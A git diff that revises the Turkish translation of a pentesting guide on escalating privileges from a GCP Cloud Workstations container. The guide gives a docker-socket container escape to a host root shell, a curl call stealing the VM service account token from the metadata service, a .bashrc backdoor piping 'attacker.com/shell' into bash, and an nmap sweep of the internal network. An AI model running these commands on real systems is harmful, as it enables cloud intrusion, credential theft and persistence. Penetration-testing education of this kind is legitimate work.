diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md index 979404f92..7b0aec0ce 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md @@ -1,18 +1,19 @@ # GCP - Cloud Workstations Privesc +{{#include ../../../banners/hacktricks-training.md}} ### Container Breakout via Docker Socket (Container -> VM -> Project) -Cloud Workstations'taki ana yetki yükseltme yolu, geliştiriciler için **Docker-in-Docker (DinD)** iş akışlarını destekleme zorunluluğundan kaynaklanır. Workstation yapılandırması Docker socket'i mount ediyor veya privileged containers'a izin veriyorsa (yaygın bir yapılandırma), workstation konteyneri içindeki bir saldırgan altındaki Compute Engine VM'ine kaçıp onun service account token'ını çalabilir. +Cloud Workstations içindeki birincil ayrıcalık yükseltme yolu, geliştiriciler için **Docker-in-Docker (DinD)** iş akışlarını destekleme gereksiniminden kaynaklanır. Eğer workstation yapılandırması Docker socket'i mount ediyorsa veya privileged containers'a izin veriyorsa (yaygın bir yapılandırma), workstation konteyneri içindeki bir saldırgan alttaki Compute Engine VM'ye kaçabilir ve onun service account token'ını çalabilir. **Önkoşullar:** -- Cloud Workstation terminaline erişim (SSH ile, ele geçirilmiş bir oturumla veya çalınmış kimlik bilgileriyle) -- Workstation yapılandırması `/var/run/docker.sock`'u mount etmeli veya privileged containers'ı etkinleştirmeli +- Cloud Workstation terminaline erişim (SSH ile, ele geçirilmiş oturum veya çalınmış kimlik bilgileriyle) +- workstation yapılandırması `/var/run/docker.sock`'u mount etmeli veya privileged containers'ı etkinleştirmeli -**Mimari bağlamı:** Workstation, bir Docker/Containerd runtime (Layer 2) üzerinde çalışan bir container (Layer 3) olup GCE VM (Layer 1) üzerinde çalışır. Docker socket, host'un container runtime'ına doğrudan erişim sağlar. +**Mimari bağlam:** Çalışma istasyonu, bir GCE VM (Layer 1) üzerinde Docker/Containerd runtime'ı (Layer 2) üzerinde çalışan bir konteynerdir (Layer 3). Docker socket host'un container runtime'ına doğrudan erişim sağlar. > [!NOTE] -> Bu araç [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) tam container escape sürecini otomatikleştirir ve sizi host VM'de root shell'e düşürür. +> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) tam container escape işlemini otomatikleştirir ve sizi host VM üzerinde bir root shell'e düşürür.
@@ -26,9 +27,9 @@ ls -l /var/run/docker.sock
-Adım 2: Escape to the host VM filesystem +Adım 2: Host VM dosya sisteminden kaçış -Privileged container başlatıyoruz, host'un root dizinini `/mnt/host` olarak mount ediyoruz. Görünürlüğü maksimize etmek için host'un network ve PID namespace'ini de paylaşıyoruz. +Ana makinenin kök dizinini `/mnt/host` olarak bağlayarak ayrıcalıklı bir konteyner başlatıyoruz. Görünürlüğü maksimize etmek için ayrıca ana makinenin ağını ve PID ad alanını paylaşıyoruz. ```bash # Spawn a privileged container mounting the host's root filesystem docker run -it --rm --privileged --net=host --pid=host \ @@ -38,13 +39,13 @@ alpine sh # Inside the new container, chroot into the host chroot /mnt/host /bin/bash ``` -Şimdi altında çalışan Compute Engine VM üzerinde bir **root shell**'e sahipsiniz (Layer 1). +Artık **root shell on the underlying Compute Engine VM** (Layer 1).
-Adım 3: IMDS'ten VM service account token'ını çalın +Adım 3: IMDS'den VM service account token'ını çal ```bash # From the host VM, query the Instance Metadata Service curl -s -H "Metadata-Flavor: Google" \ @@ -61,16 +62,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
> [!CAUTION] -> **Erişim izinlerini (Scopes) kontrol edin!** -> Eki olan Service Account **Editor** olsa bile, VM access scopes ile kısıtlanmış olabilir. -> Eğer `https://www.googleapis.com/auth/cloud-platform` görürseniz, tam erişiminiz vardır. -> Eğer sadece `logging.write` ve `monitoring.write` görüyorsanız, aşağıdaki **Network Pivot** ve **Persistence** vektörleriyle sınırlısınız. +> **Scope'ları Kontrol Et!** +> Ekli Service Account **Editor** olsa bile, VM erişim scope'larıyla kısıtlanmış olabilir. +> Eğer `https://www.googleapis.com/auth/cloud-platform` görüyorsanız, tam erişime sahipsiniz. +> Sadece `logging.write` ve `monitoring.write` görüyorsanız, aşağıdaki **Network Pivot** ve **Persistence** vektörleriyle sınırlısınız.
-Adım 4: Persistence Elde Et (Backdoor the User) +Adım 4: Persistence'i Sağlama (Backdoor the User) -Cloud Workstations, kalıcı bir diski `/home/user` dizinine mount eder. Container kullanıcısı (genellikle `user`, UID 1000) host kullanıcısıyla (UID 1000) eşleştiği için host'un home dizinine yazabilirsiniz. Bu, workstation container yeniden oluşturulsa bile ortama backdoor yerleştirmenizi sağlar. +Cloud Workstations, `/home/user`'e kalıcı bir disk bağlar. Container kullanıcısı (genellikle `user`, UID 1000) host kullanıcısıyla (UID 1000) eşleştiği için, host'un home dizinine yazabilirsiniz. Bu, workstation container yeniden oluşturulsa bile ortamı backdoor'lamanızı sağlar. ```bash # Check if you can write to the host's persistent home ls -la /mnt/host/home/user/ @@ -85,7 +86,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc Adım 5: Network Pivot (Internal VPC Access) -Host network namespace (`--net=host`)'i paylaştığınız için artık VPC içinde güvenilen bir düğümsünüz. IP whitelisting'e dayalı erişime izin veren dahili servisleri tarayabilirsiniz. +Host network namespace (`--net=host`) paylaşmanız nedeniyle, artık VPC içinde güvenilen bir düğümsünüz. IP whitelisting'e dayalı erişime izin veren dahili servisleri tarayabilirsiniz. ```bash # Install scanning tools on the host (if internet access allows) apk add nmap @@ -94,3 +95,7 @@ apk add nmap nmap -sS -p 80,443,22 10.0.0.0/8 ```
+ + + +{{#include ../../../banners/hacktricks-training.md}}